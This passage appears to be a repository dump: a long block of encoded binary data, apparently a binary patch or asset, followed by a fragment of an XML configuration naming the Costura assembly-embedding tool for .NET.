z7!Ma?Qs5|fRf2KC^z`Bb_xc#e_jcC9`3CSp-2$v@Be*=L1hj(#`+8~1f%w+6WqmtuOt zj|YTYo0HVcYrLg=@Clo3(=ALu$zzmX=T|Q%5}uO=?5}byKDfTQf|BH*DwG@rS@!@y z9(!}wJZYUD$jhjAvu$5#4Lef<&@zUqS>E&Bgp};z9KL(%{ce{iHdHM^ljR`4NJN@| zRuQO31t%jkVrf^wuvYm79*hY+TAR))Hv;95OEBg3Y04RHhG&zHk6lo`{l#7T!qj7o zz=A*mpmMCHvd~h73UaK!vt`jsBi6qjHUE?^{~IF;KusV56_%c5@2N+)kL?`8){XzA zwrk$)AB_M(iWjBE0B_+CK%*b4vn#vgS)tn(*t{FIY2$h$*ch-}#1Rq@6&eK*60nqj zsi{Z8uFb!*XsR@*;&N1^b<=-e8B>JgQhn|tckEsB?!73yG`?)fx9|Ru8-tOwwZ#Et z^BmRXBQ9lg8F^PC8a@yn7F(-oz5pf@pSG(ZFu7w)+WtMZ?99+PJL{`w+@OG3q35Lb zE(CeXhz=J$e8SnYW9pkTkB={a+Cdf4qY*9*({6poezvcIo%2&5?cv;^$$G*Da}zST zVD0eqXsdPTp@{`H4qiuJL!7oEp!2l}U5|dq#^$xG@imd9uNs$a+ho6r0%@ygs$8J6 zQ7J~2d9cT!#ljJ09l8k95bk0S z7TV&!H#)FIZn0}N%HEa7>DSs}n?<2RqckfmwPT<>Y^6pv`S+@YuS%Lj*Z$S%_QHa- z&^U&iPgIN6B%J-b4;0>Xc%Q(nU%Vr_V;XwNIDC#oL2A%5UCo)2I@8^sQ~e{Y_L2X} z?LAnn4M=g~6RW}fQ(K~TtQcbUqRs_&3UJGSRvYD2y@}jKbce%T7yo2RDc%g1h~5wm z0SW}2}?ZfNL1}v%C*27E3oJ^huKf72f)eS2cL*3b!MZSVqxt zs7jR5J+mRSqGvO$65=^&$gc3*aHm(t3Rs3!~zvgfKr$0$X_UL{XEUbn+>_i zTh(@Xe%sR=n6-enJWPfY={!`Sz{DhZ7@`nq)#QH>^&iDPYWSkPYk^Vy}`~ZdL4p<@3{yhU!9QsxcxR6?R8$JJksz*S&fB=*};p z`~Br3!B7>EGPj#&?9&UtIw#;u6jdhqtfBmS$ox;RX=2q#j>2q$Ek zosAxLZdI4;bA{WCk~o*d#LpW9I@su*g%>hxdM$l!QTHY+uf=jxQ&jj}U1|Mt`wHb% z@ivcbk+y}*nDGOZIv75-P>m_OYXXR{f0TdHq_H%z$?R^fb7aJ29fSY_Wih$K z*AC)U%Ep}bcfkiN6k$95mL%?QGAq+X;G$Hp3#S0rC_q4ZYo6T*KD)f%Q`aQ-H>-63 zahNa!L&X@;Q;+L`$Ar{|4q}<|^4dI$XL~%(>J%oRxk%$WY!OIbEkbvCm@9HEGEYK2-If;O3cJnIY6*N&S_AzWz{fm~Z~Shz5^G zDfb8Mg*l3x6XY?OlFrwR8O0T%4$Zk#y7q_X?7Dr(m@5zb|LQi_gVH|nG)osOvmktT zKa|bP=LfCZoS7zCGH#s#TwAG8MsHA5BhK>9g|oebn((`y3d*;`6$MroPZ+7ls_-{e*=fT3oKSTwj7_< zQlJM41zTQln%3=}HrgOqBpp&;dFxGJ9^UBW%d&#m1~SzLQ{N5Ouiq#SV(!g6efg3+ z{8-r-$3jcjXL@8JdruOG>YDJ?omZdjLu#Er?LK?A9VTeV0&v&tX>}J&O`!@-589?* zuz01|9Sz+CTCBXbeluk1S%Jxg7BAY*?HaClIFW z-kU)@=bI}u>wkj63YVQ}$lHAeZeNV!4JOrXip8;<{r7mCuR_*Jd=#tN%l}PqI=zytMldtzoCA7KC@ z(iJK^nLrgO>GS|;G7gse6ay`S)%$8iY!~+K5k8L|sb)C+s}{BrX4<2`H6+Q53%9mC%ymg{%USk7=kW}N$LxJ z!ELI)3NxmpjuK z`nmuKxk#cw;W*x>a0e@}z4(TSforZ+uN>+>#b6vY-GXWVhD4c!(DQGzKYi2jG@vYT z&843g4fxb;k~{;&wCM&UR0;*>(4c$DA}jL<-ie%e&eB!+6DSn9_oeIgHZ=4x>CNDc z1G6|Qi`ufQwwJ)IYj23bItS4oYTi!WSs@KCz3bJP9A5)_MuX;K$!aM|7#5WftS-A= zlA8TAD3?FCa`55{Ya!bdP~hss#UF4)#SN9_=Y)~p<(*k!KP?mH)0l4YC~)c{)s*8@ zw?L$=>&=hsg3l2pyDq(bIrrHf14A*WG8GQ`W6E6YAI-zpOll6#o_$dE+r;xQG4`0# zg7m82M-=+hP8YPe?fr~Ba~g@mAzTTXbzV_98nwK&`m2~N~u8iwY=bIf1uo|MANes{j_qv=bVA&5Zb zN^qp4IWX1E1Q=k4JAaJWOdrSF7V=lfuOZJJC`2qORbw$~MR!3DEws)_y^>$NHgr?T zbDPS56>ytw7`gWvQjYk#u>%ez-zm(loOXy(3{ITI_#!woniFJ@D)4xZ3;W$d!?!LJ z4}NI(xt$X3Sx7a4Abpo*_5Xgr@VUW9{3D)=U#MV&k%Br~qgT|JDK|=NHZ}ONH>RyY zKJLE)i*Qm}TLks0N}!9XpKIpsEVhZ~6<+9WuRhmbNFMv6?{x-$f1m$XkbA z+wFYd?I|5tJcs%_6E((vQv9~P51Tvb*2j=tX2tzomOO{Y;UqtB>49L`8q;wqWT|^p zcv0~Ft?ie}eRS=}q>y2EXh2wPtU5I_FO{=$+ga=LhtGTK!lF@C3PlZyhrWKleDY6C zQFSM3`xcvRA7mh|?-K;BJ{cFz&#Io0VQw+{&;y}We*{6|t@@5dXeQ}4l$M@~*+Top jj%w(2RMeNY + + + Costura + + + +